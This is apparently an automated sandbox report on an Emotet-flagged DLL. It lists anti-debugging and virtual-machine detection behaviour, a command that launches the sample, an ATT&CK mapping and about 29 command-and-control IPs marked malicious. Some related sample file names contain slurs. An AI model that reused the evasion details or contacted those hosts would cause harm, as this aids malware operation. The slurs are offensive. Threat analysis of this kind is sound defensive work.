Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 5976

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6EA12FE7 FindFirstFileExW,

3_2_6EA12FE7

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: Amcache.hve.19.dr	Binary or memory string: VMware
Source: Amcache.hve.19.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: svchost.exe, 0000000A.00000002.699912374.00000203B6E62000.00000004.00000001.sdmp	Binary or memory string: "@Hyper-V RAW
Source: Amcache.hve.19.dr	Binary or memory string: @scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.19.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual disk SCSI Disk Devicehbin
Source: Amcache.hve.19.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.19.dr	Binary or memory string: VMware7,1
Source: Amcache.hve.19.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.19.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.19.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.13989454.B64.1906190538,BiosReleaseDate:06/19/2019,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: svchost.exe, 0000000A.00000002.699850495.00000203B6E56000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.698608795.00000203B1829000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.19.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.19.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.19.dr	Binary or memory string: VMware, Inc.me
Source: Amcache.hve.19.dr	Binary or memory string: VMware-42 35 d8 20 48 cb c7 ff-aa 5e d0 37 a0 49 53 d7
Source: rundll32.exe, 00000003.00000003.609001353.0000000002F88000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Amcache.hve.19.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&280b647&0&000000
Source: Amcache.hve.19.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6EA129E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

3_2_6EA129E6

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E9FE4E0 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

3_2_6E9FE4E0

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E9F1290 GetProcessHeap,HeapAlloc,RtlAllocateHeap,HeapFree,

3_2_6E9F1290

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_029D4315 mov eax, dword ptr fs:[00000030h]	3_2_029D4315
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA0C050 mov eax, dword ptr fs:[00000030h]	3_2_6EA0C050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA0BFE0 mov esi, dword ptr fs:[00000030h]	3_2_6EA0BFE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA0BFE0 mov eax, dword ptr fs:[00000030h]	3_2_6EA0BFE0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA112CB mov ecx, dword ptr fs:[00000030h]	3_2_6EA112CB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA1298C mov eax, dword ptr fs:[00000030h]	3_2_6EA1298C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_02C24315 mov eax, dword ptr fs:[00000030h]	6_2_02C24315

Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA0CB22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6EA0CB22
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA129E6 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6EA129E6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EA0D1CC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6EA0D1CC

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\mal.dll",#1	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6524 -ip 6524	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 308	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6524 -ip 6524	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6524 -s 344	Jump to behavior

Source: loaddll32.exe, 00000000.00000000.676826928.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.650829854.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.649686961.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.678250135.00000000013F0000.00000002.00020000.sdmp, rundll32.exe, 0000000D.00000002.699645728.0000000003200000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: loaddll32.exe, 00000000.00000000.676826928.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.650829854.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.649686961.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.678250135.00000000013F0000.00000002.00020000.sdmp, rundll32.exe, 0000000D.00000002.699645728.0000000003200000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: loaddll32.exe, 00000000.00000000.676826928.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.650829854.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.649686961.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.678250135.00000000013F0000.00000002.00020000.sdmp, rundll32.exe, 0000000D.00000002.699645728.0000000003200000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: loaddll32.exe, 00000000.00000000.676826928.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.650829854.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.649686961.00000000013F0000.00000002.00020000.sdmp, loaddll32.exe, 00000000.00000000.678250135.00000000013F0000.00000002.00020000.sdmp, rundll32.exe, 0000000D.00000002.699645728.0000000003200000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6EA0CC44 cpuid

3_2_6EA0CC44

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6EA0CE15 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_6EA0CE15

Source: Amcache.hve.19.dr, Amcache.hve.LOG1.19.dr	Binary or memory string: c:\users\user\desktop\procexp.exe
Source: Amcache.hve.19.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.19.dr, Amcache.hve.LOG1.19.dr	Binary or memory string: procexp.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.29c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2c10000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2c10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2f020d8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2d60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.29320e8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.c42f68.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2dc2098.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.29c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2780000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.loaddll32.exe.7b0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.2780000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2dc2098.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.29320e8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2f020d8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.650731221.0000000000C3C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.649143533.00000000007B0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.676710015.0000000000C3C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.649539674.0000000000C3C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.675954463.00000000007B0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.607531187.0000000002F59000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.648863734.0000000002D60000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.678039015.0000000000C3C000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.646384056.000000000291A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.648896656.0000000002EEA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.639924880.0000000002DAA000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.677709015.00000000007B0000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.646347873.0000000002780000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.639880819.0000000002C10000.00000040.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.650535103.00000000007B0000.00000040.00000010.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Native API1	Path Interception	Process Injection12	Masquerading2	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion3	LSASS Memory	Security Software Discovery51	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection12	Security Account Manager	Virtualization/Sandbox Evasion3	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Deobfuscate/Decode Files or Information1	NTDS	Process Discovery2	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Files and Directories1	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information2	Cached Domain Credentials	File and Directory Discovery2	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rundll321	DCSync	System Information Discovery33	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	File Deletion1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mal.dll	24%	ReversingLabs	Win32.Trojan.Midie

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.loaddll32.exe.7b0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.7b0000.9.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
6.2.rundll32.exe.2c10000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
4.2.rundll32.exe.2780000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.7b0000.3.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
7.2.rundll32.exe.2d60000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
0.0.loaddll32.exe.7b0000.6.unpack	100%	Avira	HEUR/AGEN.1110387	Download File
3.2.rundll32.exe.29c0000.0.unpack	100%	Avira	HEUR/AGEN.1110387	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://crl.ver)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 0000000A.00000002.699638301.00000203B6E11000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://upx.sf.net	Amcache.hve.19.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	svchost.exe, 0000000A.00000002.699595506.00000203B6E00000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
195.154.133.20	unknown	France	12876	OnlineSASFR	true
212.237.17.99	unknown	Italy	31034	ARUBA-ASNIT	true
110.232.117.186	unknown	Australia	56038	RACKCORP-APRackCorpAU	true
104.245.52.73	unknown	United States	63251	METRO-WIRELESSUS	true
138.185.72.26	unknown	Brazil	264343	EmpasoftLtdaMeBR	true
81.0.236.90	unknown	Czech Republic	15685	CASABLANCA-ASInternetCollocationProviderCZ	true
45.118.115.99	unknown	Indonesia	131717	IDNIC-CIFO-AS-IDPTCitraJelajahInformatikaID	true
103.75.201.2	unknown	Thailand	133496	CDNPLUSCOLTD-AS-APCDNPLUSCOLTDTH	true
216.158.226.206	unknown	United States	19318	IS-AS-1US	true
107.182.225.142	unknown	United States	32780	HOSTINGSERVICES-INCUS	true
45.118.135.203	unknown	Japan	63949	LINODE-APLinodeLLCUS	true
50.116.54.215	unknown	United States	63949	LINODE-APLinodeLLCUS	true
51.68.175.8	unknown	France	16276	OVHFR	true
103.8.26.102	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
46.55.222.11	unknown	Bulgaria	34841	BALCHIKNETBG	true
41.76.108.46	unknown	South Africa	327979	DIAMATRIXZA	true
103.8.26.103	unknown	Malaysia	132241	SKSATECH1-MYSKSATECHNOLOGYSDNBHDMY	true
178.79.147.66	unknown	United Kingdom	63949	LINODE-APLinodeLLCUS	true
212.237.5.209	unknown	Italy	31034	ARUBA-ASNIT	true
176.104.106.96	unknown	Serbia	198371	NINETRS	true
207.38.84.195	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
212.237.56.116	unknown	Italy	31034	ARUBA-ASNIT	true
45.142.114.231	unknown	Germany	44066	DE-FIRSTCOLOwwwfirst-colonetDE	true
203.114.109.124	unknown	Thailand	131293	TOT-LLI-AS-APTOTPublicCompanyLimitedTH	true
210.57.217.132	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
58.227.42.236	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
185.184.25.237	unknown	Turkey	209711	MUVHOSTTR	true
158.69.222.101	unknown	Canada	16276	OVHFR	true
104.251.214.46	unknown	United States	54540	INCERO-HVVCUS	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	532106
Start date:	01.12.2021
Start time:	18:36:43
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	mal.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.evad.winDLL@31/18@0/31
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Successful, ratio: 17.9% (good quality ratio 17.1%) Quality average: 71.9% Quality standard deviation: 24.5%
HCA Information:	Successful, ratio: 76% Number of executed functions: 41 Number of non-executed functions: 121
Cookbook Comments:	Adjust boot time Enable AMSI Sleeps bigger than 120000ms are automatically reduced to 1000ms Found application associated with file extension: .dll
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 23.35.236.56, 20.190.160.129, 20.190.160.67, 20.190.160.136, 20.190.160.4, 20.190.160.132, 20.190.160.134, 20.190.160.6, 20.190.160.75, 20.42.65.92 Excluded domains from analysis (whitelisted): fs.microsoft.com, www.tm.lg.prod.aadmsa.akadns.net, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, www.tm.a.prd.aadg.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, login.msa.msidentity.com, e12564.dspb.akamaiedge.net, onedsblobprdeus17.eastus.cloudapp.azure.com, store-images.s-microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, watson.telemetry.microsoft.com, prod.fs.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/532106/sample/mal.dll

Simulations

Behavior and APIs

Time	Type	Description
18:39:28	API Interceptor	1x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
195.154.133.20	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
	Z4HpRSQD6I.dll	Get hash	malicious	Browse
	uLCt7sc5se.dll	Get hash	malicious	Browse
	rGF1Xgw9Il.dll	Get hash	malicious	Browse
	nBtjFS1D08.dll	Get hash	malicious	Browse
	q8HPR8Yypk.dll	Get hash	malicious	Browse
	mZuFa05xCp.dll	Get hash	malicious	Browse
212.237.17.99	mal2.dll	Get hash	malicious	Browse
	mal.dll	Get hash	malicious	Browse
	mal2.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse
	9sQccNfqAR.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	t3XtgyQEoe.dll	Get hash	malicious	Browse
	SCAN_35292280954166786.xlsm	Get hash	malicious	Browse
	U4pi8WRxNJ.dll	Get hash	malicious	Browse
	oERkAQeB4d.dll	Get hash	malicious	Browse
	FC9fpZrma1.dll	Get hash	malicious	Browse
	Z4HpRSQD6I.dll	Get hash	malicious	Browse
	uLCt7sc5se.dll	Get hash	malicious	Browse
	rGF1Xgw9Il.dll	Get hash	malicious	Browse
	nBtjFS1D08.dll	Get hash	malicious	Browse
	q8HPR8Yypk.dll	Get hash	malicious	Browse
	mZuFa05xCp.dll	Get hash	malicious	Browse

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ARUBA-ASNIT	mal2.dll	Get hash	malicious	Browse	212.237.56.116
	mal.dll	Get hash	malicious	Browse	212.237.56.116
	GYRxsMXKtvwSwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	KsXtuXmxoZvgudVwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	xTpcaEZvwmHqwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	mal2.dll	Get hash	malicious	Browse	212.237.56.116
	GYRxsMXKtvwSwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	KsXtuXmxoZvgudVwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	xTpcaEZvwmHqwhoreniggagay.dll	Get hash	malicious	Browse	94.177.217.88
	invoice template 33142738819.docx	Get hash	malicious	Browse	94.177.217.88
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	212.237.56.116
	2gyA5uNl6VPQUA.dll	Get hash	malicious	Browse	212.237.56.116
	9sQccNfqAR.dll	Get hash	malicious	Browse	212.237.56.116
	FILE_464863409880121918.xlsm	Get hash	malicious	Browse	212.237.56.116
	9sQccNfqAR.dll	Get hash	malicious	Browse	212.237.56.116
	t3XtgyQEoe.dll	Get hash	malicious	Browse	212.237.56.116
	t3XtgyQEoe.dll	Get hash	malicious	Browse	212.237.56.116
	QUOTATION FORM.exe	Get hash	malicious	Browse	62.149.128.45
	MA4UA3e5xe	Get hash	malicious	Browse	46.37.10.252
